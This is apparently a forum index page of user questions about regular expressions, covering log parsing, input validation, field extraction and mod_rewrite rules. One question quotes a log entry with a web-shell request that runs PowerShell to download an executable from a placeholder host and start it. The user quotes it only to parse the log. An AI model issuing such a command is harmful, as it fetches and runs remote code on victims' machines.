Regular Expressions

A regular expression ("regex") is a sequence of characters that define a search pattern, mainly for use in pattern matching with strings, or string matching, i.e. "find and replace"-like operations. Regular expression processors are found in several search engines, search and replace dialogs of several word processors and text editors, and in the command lines of text processing utilities, such as sed and AWK. Many programming languages provide regular expression capabilities, some built-in, for example Perl, JavaScript, Ruby, AWK, and Tcl, and others via a standard library, for example .NET languages, Java, Python and C++ (since C++11). Most other languages offer regular expressions via a library.

Share tech news, updates, or what's on your mind.

Sign up to Post

I need a working example to extract an i address from a string using regular expressions.
Thanks
0
Expert Spotlight: Joe Anderson (DatabaseMX)
LVL 13
Expert Spotlight: Joe Anderson (DatabaseMX)

We’ve posted a new Expert Spotlight!  Joe Anderson (DatabaseMX) has been on Experts Exchange since 2006. Learn more about this database architect, guitar aficionado, and Microsoft MVP.

Expertss,

I need some Regex help.  Based on the log file below

flowStatistics.clientAppURL=http://5.5.5.5/public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://example.com/example.exe','C:/12.exe');start%20C:/12.exe	flowStatistics.netbiosName=

Open in new window



I want to parse out all the text after flowStatistics.clientAppURL=  and before flowStatistics.netbiosName=.   Can someone help me with what the regex expression would look like so I can test it on my log collector?
0
I have an Excel userform that has two types of searches: one that searches all worksheets (‘Search_AllSheets)’, and one that searches only the active sheet  (‘Extract_Text)’. I created code for the ‘Extract_Text’ module that searches for whole word matches that seems to work pretty well, but I have been unable to adapt that (or any other code) to the ‘Search_AllSheets’ module, which loops through a set range in each worksheet in its search. I shut off the “match Whole Word” option on the userform if the single worksheet search macro is chosen, pending resolution. I am attaching two files:

Extract Rows by Text (Original) – contains the two modules indicated above but the ‘Search_AllSheets’ needs the whole word match logic to function properly
Extract Rows by Text (Whole Word) – contains the same modules but also uses code I wrote to match whole word in a search in the ‘Extract_Text’ module but which I am unable to adapt to work in the ‘Search_AllSheets’ module.

I found regex code that works very well but I am also unable to incorporate it into the ‘Search_AllSheets’ module (the comments are mine):
Sub Test_Whole_Word_Match2()
'from https://forums.techguy.org/threads/solved-find-exact-whole-word-in-a-string.1021245
Dim I As Long, m As Boolean
Dim rcell As Excel.Range 'added Feb 26 2019

Searchtext = "testrnotice"

    For I = 1 To 5 '5 represents the number of rows to check.
   ' Set rcell = Range("D" & I) 'added Feb 26 2019 to see if I can set the found range to 

Open in new window

0
Hi

I wonder if someone can give me a clue how to fix this

The RegEx is failing because there is a ")" in the string I'm trying to clean it's causing an exception error

"Run-time exception (line 26): parsing "https://Unwanted.com/this/url/file...123).zip" - Too many )'s."

Manually Remove the ")" from the string and all is good

I tested the regEx at regex101 it works

To be clear I only want the first line
so ModName should = "I want all this Line (here)"

		Regex RegHTTP = new Regex(@"(https.*)$");
		  string pattern = @"(https.*\)?.*)$";
		Console.WriteLine("Hello World");
		string ModName = @"I want all this Line (here)
		
		https://Unwanted.com/this/url/file...123).zip";
		
        RegexOptions options = RegexOptions.Multiline | RegexOptions.IgnoreCase;
        
        foreach (Match m in Regex.Matches(ModName, pattern, options))
        {
            Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index);
			ModName = Regex.Replace(ModName, m.Value, "");
        }
		ModName = ModName.Trim();// .Replace("\n", string.Empty);

		Console.WriteLine("ModName: [{0}]", ModName);
	}

Open in new window

0
Regex string assistance

Experts,

I need a regex that will match the following set of strings:


From:Richard Test
From:Richard A Test
From:Richard A. Test
From:Richard-Test
From:Richard Alvan Test

Thanks in advance
1
Experts, I need assistance with a regex string.

Matches I need are as follows:

1st Example String:
c:\folder1\(randomfilename.txt)
Match1 = c:\
match2 = Folder1
match3 = randomfilename.txt

2nd Example String:
c:\folder1\folder2\randomfilename.txt
match1 = c:\
match2 = folder1
match3 = folder2
match4 = randomfilename.txt

.....

This could include up to folder 12 following the same pattern..


One item to note : the folders could contain non alphanumeric chars however I still want to capture everything to a match between each

 \…\ and save to a match.
0
Hi Experts,

I am working a long time on a VBA function that will constantly be reading (txt data) files in a loop and transfer data to a web hosted software using API calls.

Would like to know if you can spot any serious bugs before releasing it.

Attaching the full code.

Thanks in Advance.
1.txt
0
I would like to do a function in SQL that uses a regex string to validate email addresses and which also is not going to bog things down.
0
Hello,

I need help writing a RegEx for my alerting system (PagerDuty).  It essentially works when it is forwarded emails from our network monitoring equipment.  I am trying to setup a rule so that alerts get tagged and closed correctly.  The rules look at the subject of a message which will look like the following:

switch.core: minor service affecting Alarm for DEVICE "119" at 2019/01/04 11:45:25.27: "DEVICE went missing"

In that subject, I would be looking to open the alert if "minor service affecting" and "DEVICE went missing" was matched in the subject.  I have this working by using the expression:

/(minor service affecting|DEVICE went missing)/ms

Next a second email might come through which would be the resolution of this problem and would have a subject which looks like the following:

switch.core: clear service affecting Alarm for DEVICE "119" at 2019/01/04 11:45:25.27: "DEVICE went missing"

In this rule I have the ability to match emails based on a regular expression.  It would need to match with the initial email and shares 3 keys as follows:

"switch.core", "119", and "DEVICE went missing".  How would I write a regular expression that would pull those 3 fields out?  The 3 fields would always be in the same order in both subjects and the subject format would always be the same.  So I guess I need a RegEx that would extract a match searching for those 3 items that would work against both subjects.  I should note that the values I have used may …
0
what is the perl regular expresssion to compare "machinename\\username" in perl scripts?

sample code:
print "Hello World!\n";
$mname="BVM";
$user = "test";
$mu_reg = "^(?i)$mname/\/\$user \$";
$mu_str = "164AUTH/\/\chris";



$ipstr="$mu_str ";
$ipstr_re = "^(?i)mu_reg \$"; # regex failed with two backslashes. How to fix it?
if ($ipstr !~ /$ipstr_re/) {
    print "It doesn't match\n";
}
else {
    print "It matches\n";
}
0
Learn Ruby Fundamentals
LVL 13
Learn Ruby Fundamentals

This course will introduce you to Ruby, as well as teach you about classes, methods, variables, data structures, loops, enumerable methods, and finishing touches.

I have an input field that requires a user to enter time in a decimal form of hours + minutes. I need an html validation regex that will force a user to only enter the decimal 0 or 5. For example, user can enter the following valid numbers: (10.0; 10.5; 11.0; 3.5; 2.0) and so on. Invalid numbers:( 10.1; 10.2; 10.4; 3.2; 4.4;7.7). I just need to ensure user enters .0 or .5 decimal  no greater than 99.5, and great than 0.
1
I need help with regx expression below.  Currently it will only find numeric decimal values but I need both a integer check and numeric decimal check.  

.*?([\-\+]?(\d+\.\d+KW|\d+|\.\d+))\D*

For example:

Input Data                                                            Result
Dual Rated - 240V/3.5KW & 208V/2.5KW    = 3.5KW   --> this works now.
Dual Rated - 240V/5KW & 208V                    = 5KW      --> Expression above does not detect integer values.
5KW                                                                   = 5KW      --> Expression above does not detect integer values.
5.6KW                                                                = 5,6KW
0.0                                                                      = [null]
5                                                                          = [null]
0
A configuration file that has lines as below:

<abcde=12 bcde=20 xyz=30 match=pattern1>

Open in new window


there are several such lines; some with "match=pattern1", as above. There are other lines where they could be "match=pattern2", "match=pattern3" and so on.

I would like to modify lines that have "pattern1" ONLY. Again, there's more than one line that has "pattern1".

I would like to change bcde=99 and xyz=99 where pattern1 is present.

How can this be done?
0
I need some mod rewrite help with a regex.  This is an example url - https://www.thefrugallife.com/12all/lt.php?c=1728&m=2981&nl=1&s=c9b91a7ca200a96e668e515ecf49b34c&lid=19221&l=-http--www.theherbsplace.com/Shop_A_Z_page_1_c_28.html

I am trying to get it to redirect to the url after the last equals sign - http--www.theherbsplace.com/Shop_A_Z_page_1_c_28.html

I have 2,000 links like this all with a different url after the last equals sign.

Here is my code

RewriteCond %{REQUEST_URI} /?12all/lt\.php$
RewriteCond %{QUERY_STRING} c=(.*)$ [NC]
RewriteCond %{QUERY_STRING} m=(.*)$ [NC]
RewriteCond %{QUERY_STRING} nl=(.*)$ [NC]
RewriteCond %{QUERY_STRING} s=(.*)$ [NC]
RewriteCond %{QUERY_STRING} lid=(.*)$ [NC]
RewriteCond %{QUERY_STRING} l=-http--(.*)$ [NC]
RewriteRule ^.*$ https://%6/? [NC,L,R=301]

Open in new window


Please tell me what I am doing wrong so I can get this cleaned up for Google.

Thanks,
0
HI.

I am using Microsoft Access VBA in a Windows 10 machine.
I am trying to extract data from a multi-line string copied from a web page whose format is always the same.

By example , one of the lines in the web page would be

Circuit Name:           <data item 1>            Issued by:
Customer Name      <data item 2>            Attn

I would like the regex pattern that would give me the  <data item 1>   ..   Also,  <data Item 2>

Thank you.
1
Given an array or collection of words as below. I want to find each word in the string text and replace it with say an empty string .



var words = new string[] { "apple", "cat", "red" };

var text = "I have a red apple and a small cat";        
         

            foreach (var w in words) {

                output = Regex.Replace(text, @"\b" + w + @"\b", " ");
                text = output;
             
            }

is there a better way to do this?

also, if I have an array of special characters. If any of the character is found , it will be replaced by an empty string.
In my example below, I have $$$, since it is the same character $ , appearing multiple of times, I would just like to replace my one empty string character,
how do i achieve this?

 Regex reg = new Regex("[*&#$^@{}]");
 var result = reg.Replace("I have * , as well as $$$" , " ");
0
What would be the Javascript regex to only allow sub-domains of:
  • we.abc.com
  • wesource.abc.com
  • we-uat.abc.com
  • we-qa.abc.com

Thanks!
0
Hello,

I'm using Notepad++ to test some REGEX against a csv file.  

I've got a string that seems to be correctly identifying the first instance of a space followed by an upper case letter in each row of the file:

(^.*?)\s[A-Z]

The next step would be to insert a pipe symbol just before the uppercase letter.

So given a line like this:
XAb(2)-AB SOME UPPERCASE TEXT | SOME OTHER STUFF | AND MORE STUFF

The REGEX would replace the pattern with:
XAb(2)-AB |SOME UPPERCASE TEXT | SOME OTHER STUFF | AND MORE STUFF

Any help will be greatly appreciated!
0
Hi,

I want to know if there is a way that I can test the regex online that are created for Keyword Highlighting in SecureCRT. Below is the sample regex entries that I want to test and modify as per my requirement.

 "[*]For_Best_Results:_Set_Forground_Font_To_Gray_(Not_Black!)"
 "[*]Gray_Keywords_Are_To_Work_Around_Symbol_Delimited_Words"
 "[*]Special_Cases_That_Had_To_Be_ReOrderd"
 ".*'.*"
 "on-fail.*
 "[*]In_Enable_Mode"
 "^\w[^>]*#|hostname"
 "[*]NOT_In_Enable_mode"
 "^\w[^#]*>"
 "[*]Interfaces"
 "Embedded-Service-Engine\d\/\d"
 ".*thernet[0-9]+(?:[\/\.:][0-9]+)+[,:]?(?:\x20|$)"
 ".*thernet[0-9]+[,:]?(?:\x20|$)"
 "\b[efgt][a-z]*[0-9]+(?:[\/.:][0-9]+)+[,:*]?(?:\x20|$)"

Open in new window

1
CompTIA Network+
LVL 13
CompTIA Network+

Prepare for the CompTIA Network+ exam by learning how to troubleshoot, configure, and manage both wired and wireless networks.

I need a regular expression that will identify values that end with a plus sign.  I have a column that contains multiple weights in some cases and when it does I just need to extract the second value.  For example:

Values
607+800 lb    --> I need to identify the 607+ and remove.
822 + 44 lb    --> I need to identify the 822 + and remove.
555 lb
100 lb
0
I need a regular expression to check for a word in a string that has a "/".  

Value
---------
40005 Btu/h    ---->  I need to detect if the value has "Btu/h"
5009 BTU/H    ---->  I need to detect if the value has "BTU/H"
6999 BTU        -----> I also need to detect if value has just "BTU".
6700
900000 Btu
0
I need help with a regular expression that will check a column for a certain word, blanks and all white space.  I need a regx to check If the column below contains the word "NULL" or "Null" or  is blank or contains just white space.  

Description
----------------
NULL                  ------> If the column contains the word NULL.  
Plates
                             ----> White space example.  
Cups
Napkins and Cups
                           ------> Blank example
0
Experts,

Using C# I need to pull a date out of a string. The date format will always be numbers in day/month/year style. Of course the day and months could be 1 or 2 digits each, the years are always 4 digit. I've been reading about regex's but i can't seem to get it right. The string contains lots of words in addition to the date. The date always has at least one space leading and trailing it.
Example: "Here we 7/15/1957           down the path"

Thanks!
0
Hello,

I have over 100 CSV files that I need to pre-process before importing to SQL.  The files are too large to open in Excel.

What I'm trying to do is modify the first line (the header row) of each file to add double-quotes to the field terminators.

For example, given this header row:
field1|field2|field3|field4

replace | with "|" so the first row would be:
field1"|"field2"|"field3"|"field4

Notepad++ has a "find in files" feature that can use regex but I'm not sure how to linit it to the first line.

Any ideas would be greatly appreciated.  

Thanks!
0
I need to delete a block of text that is on 400 pages of my mysql db.  It is in wp_posts and the post_content section.

This is the block of code
<p><span class="heading">Product Label</span> - <span style="color: #909;"> Place your mouse cursor over the image to zoom in to read the label. </span></p> <p><img src="/Resources/labels/3538.jpg" alt="Product Label" /><br /><br /></p> 

Open in new window


This block is the same for all pages with the exception of the number specifying the .jpg

This is the sql I created but it isn't working even without the regex.

SELECT * FROM `wp_posts` WHERE (post_content LIKE '%<p><span class="heading">Product Label</span> - <span style="color: #909;"> Place your mouse cursor over the image to zoom in to read the label. </span></p> <p><img src="/Resources/labels/3538.jpg" alt="Product Label" /><br /><br /></p>%'); 

Open in new window


Please help me to create a query that will work for all numbered jpg's and just remove the block and replace it with nothing.

Thanks,
0

Regular Expressions

A regular expression ("regex") is a sequence of characters that define a search pattern, mainly for use in pattern matching with strings, or string matching, i.e. "find and replace"-like operations. Regular expression processors are found in several search engines, search and replace dialogs of several word processors and text editors, and in the command lines of text processing utilities, such as sed and AWK. Many programming languages provide regular expression capabilities, some built-in, for example Perl, JavaScript, Ruby, AWK, and Tcl, and others via a standard library, for example .NET languages, Java, Python and C++ (since C++11). Most other languages offer regular expressions via a library.